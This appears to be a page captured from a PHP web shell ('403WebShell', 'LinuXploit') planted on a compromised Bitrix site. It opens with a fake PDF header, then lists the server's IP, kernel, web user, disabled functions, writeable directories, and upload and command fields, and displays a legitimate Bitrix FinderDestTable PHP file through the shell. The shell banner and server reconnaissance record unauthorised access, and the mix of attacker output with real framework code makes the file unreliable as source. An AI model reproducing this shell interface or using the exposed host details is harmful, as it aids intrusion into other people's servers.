%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 18.223.172.191
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/main/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/main/lib/finderdest.php
<?php
/**
 * Bitrix Framework
 * @package bitrix
 * @subpackage main
 * @copyright 2001-2012 Bitrix
 */

namespace Bitrix\Main;

use Bitrix\Main;
use Bitrix\Main\DB\SqlExpression;
use Bitrix\Main\Localization\Loc;

Loc::loadMessages(__FILE__);

/**
 * Class FinderDestTable
 * Is used to store and retrieve last used destinations in the destinations selector dialog
 * @package Bitrix\Main
 *
 * DO NOT WRITE ANYTHING BELOW THIS
 *
 * <<< ORMENTITYANNOTATION
 * @method static EO_FinderDest_Query query()
 * @method static EO_FinderDest_Result getByPrimary($primary, array $parameters = array())
 * @method static EO_FinderDest_Result getById($id)
 * @method static EO_FinderDest_Result getList(array $parameters = array())
 * @method static EO_FinderDest_Entity getEntity()
 * @method static \Bitrix\Main\EO_FinderDest createObject($setDefaultValues = true)
 * @method static \Bitrix\Main\EO_FinderDest_Collection createCollection()
 * @method static \Bitrix\Main\EO_FinderDest wakeUpObject($row)
 * @method static \Bitrix\Main\EO_FinderDest_Collection wakeUpCollection($rows)
 */
class FinderDestTable extends Main\UI\EntitySelector\EntityUsageTable
{
	/*public static function getTableName()
	{
		return 'b_finder_dest';
	}*/

	/*public static function getMap()
	{
		global $USER;

		return array(
			'USER_ID' => array(
				'data_type' => 'integer',
				'primary' => true
			),
			new Entity\ReferenceField(
				'USER',
				'Bitrix\Main\UserTable',
				array('=this.USER_ID' => 'ref.ID')
			),
			'CODE' => array(
				'data_type' => 'string',
				'primary' => true
			),
			'CODE_USER_ID' => array(
				'data_type' => 'integer'
			),
			'CODE_TYPE' => array(
				'data_type' => 'string'
			),
			new Entity\ReferenceField(
				'CODE_USER',
				'Bitrix\Main\UserTable',
				array('=this.CODE_USER_ID' => 'ref.ID')
			),
			new Entity\ReferenceField(
				'CODE_USER_CURRENT',
				'Bitrix\Main\UserTable',
				array(
					'=this.CODE_USER_ID' => 'ref.ID',
					'=this.USER_ID' => new SqlExpression('?i', $USER->GetId())
				)
			),
			'CONTEXT' => array(
				'data_type' => 'string',
				'primary' => true
			),
			'LAST_USE_DATE' => array(
				'data_type' => 'datetime'
			)
		);
	}*/

	/**
	 * Adds or updates data about using destinations by a user
	 *
	 * @param array $data data to store,
	 * keys:
	 *    USER_ID - user who selected a destination,
	 *    CODE - code or array of codes of destinations,
	 *    CONTEXT - the place where a destination is selected
	 *
	 * @return void
	 */
	public static function merge(array $data)
	{
		global $USER;

		$userId = (
			isset($data['USER_ID']) && intval($data['USER_ID']) > 0
				? intval($data['USER_ID'])
				: (is_object($GLOBALS['USER']) ? $USER->getId() : 0)
		);

		if ($userId <= 0 || empty($data['CODE']) || empty($data['CONTEXT']) || !is_string($data['CONTEXT']))
		{
			return;
		}

		if (is_array($data['CODE']))
		{
			$dataModified = $data;

			foreach ($data['CODE'] as $code)
			{
				$dataModified['CODE'] = $code;
				FinderDestTable::merge($dataModified);
			}

			return;
		}

		if (!is_string($data['CODE']))
		{
			return;
		}

		foreach (Main\UI\EntitySelector\Converter::getCompatEntities() as $entityId => $entity)
		{
			if (preg_match('/'.$entity['pattern'].'/i', $data['CODE'], $matches))
			{
				$itemId = $matches['itemId'];
				$prefix = $matches['prefix'];

				if (isset($entity['itemId']) && is_callable($entity['itemId']))
				{
					$itemId = $entity['itemId']($prefix, $itemId);
				}

				parent::merge([
					'USER_ID' => $userId,
					'CONTEXT' => mb_strtoupper($data['CONTEXT']),
					'ENTITY_ID' => $entityId,
					'ITEM_ID' => $itemId,
					'PREFIX' => mb_strtoupper($prefix)
			  	]);

				$cache = new \CPHPCache;
				$cache->cleanDir('/sonet/log_dest_sort/'.intval($userId / 100));
				$cache->cleanDir(\Bitrix\Main\UI\Selector\Entities::getCacheDir([
					'userId' => $userId,
				]));

				return;
			}
		}
	}

	/**
	 * Converts access rights into destination codes
	 *
	 * @param array $rights access right codes to convert
	 * @param array $excludeCodes access right codes to not process
	 *
	 * @return array destination codes
	 */
	public static function convertRights($rights, $excludeCodes = [])
	{
		$result = [];

		if (is_array($rights))
		{
			foreach ($rights as $right)
			{
				if (
					!in_array($right, $excludeCodes)
					&& (
						preg_match('/^SG(\d+)$/i', $right, $matches)
						|| preg_match('/^U(\d+)$/i', $right, $matches)
						|| preg_match('/^DR(\d+)$/i', $right, $matches)
						|| preg_match('/^CRMCONTACT(\d+)$/i', $right, $matches)
						|| preg_match('/^CRMCOMPANY(\d+)$/i', $right, $matches)
						|| preg_match('/^CRMLEAD(\d+)$/i', $right, $matches)
						|| preg_match('/^CRMDEAL(\d+)$/i', $right, $matches)
					)
				)
				{
					$result[] = mb_strtoupper($right);
				}
			}

			$result = array_unique($result);
		}

		return $result;
	}

	/**
	 * @deprecated isn't used in the kernel already
	 * Handler for onAfterAjaxActionCreateFolderWithSharing, onAfterAjaxActionAppendSharing and onAfterAjaxActionChangeSharingAndRights events of disk module
	 * Converts sharings into destination codes and stores them
	 *
	 * @param array $sharings
	 *
	 * @return void
	 */
	public static function onAfterDiskAjaxAction($sharings)
	{
		if (is_array($sharings))
		{
			$destinationCodes = [];
			foreach ($sharings as $key => $sharing)
			{
				$destinationCodes[] = $sharing->getToEntity();
			}

			if (!empty($destinationCodes))
			{
				$destinationCodes = array_unique($destinationCodes);
				\Bitrix\Main\FinderDestTable::merge([
					"CONTEXT" => "DISK_SHARE",
					"CODE" => \Bitrix\Main\FinderDestTable::convertRights($destinationCodes)
				]);
			}
		}
	}

	/**
	 * Used once to fill b_finder_dest table
	 *
	 * @return void
	 */
	public static function migrateData()
	{
		$res = \CUserOptions::getList(
			[],
			[
				"CATEGORY" => "socialnetwork",
				"NAME" => "log_destination"
			]
		);

		while ($option = $res->fetch())
		{
			if (!empty($option["VALUE"]))
			{
				$optionValue = unserialize($option["VALUE"], ['allowed_classes' => false]);

				if (is_array($optionValue))
				{
					foreach ($optionValue as $key => $val)
					{
						if (in_array(
							$key,
							["users", "sonetgroups", "department", "companies", "contacts", "leads", "deals"]
						))
						{
							$codes = \CUtil::jsObjectToPhp($val);
							if (is_array($codes))
							{
								\Bitrix\Main\FinderDestTable::merge(
									[
										"USER_ID" => $option["USER_ID"],
										"CONTEXT" => "blog_post",
										"CODE" => array_keys($codes)
									]
								);
							}
						}
					}
				}
			}
		}

		$res = \CUserOptions::getList(
			[],
			[
				"CATEGORY" => "crm",
				"NAME" => "log_destination"
			]
		);

		while ($option = $res->fetch())
		{
			if (!empty($option["VALUE"]))
			{
				$optionValue = unserialize($option["VALUE"], ['allowed_classes' => false]);

				if (is_array($optionValue))
				{
					foreach ($optionValue as $key => $val)
					{
						$codes = explode(',', $val);
						if (is_array($codes))
						{
							\Bitrix\Main\FinderDestTable::merge(
								[
									"USER_ID" => $option["USER_ID"],
									"CONTEXT" => "crm_post",
									"CODE" => $codes
								]
							);
						}
					}
				}
			}
		}
	}

	/**
	 * Returns array of email user IDs fetched from users (email and not email) destination codes
	 *
	 * @param mixed $code user destination code or array of them
	 *
	 * @return array
	 */
	public static function getMailUserId($code)
	{
		$userId = [];
		$result = [];

		if (!is_array($code))
		{
			$code = [$code];
		}

		foreach ($code as $val)
		{
			if (preg_match('/^U(\d+)$/', $val, $matches))
			{
				$userId[] = $matches[1];
			}
		}

		if (!empty($userId))
		{
			$res = \Bitrix\Main\UserTable::getList(
				[
					'order' => [],
					'filter' => [
						"ID" => $userId,
						"=EXTERNAL_AUTH_ID" => 'email'
					],
					'select' => ["ID"]
				]
			);

			while ($user = $res->fetch())
			{
				$result[] = $user["ID"];
			}
		}

		return $result;
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit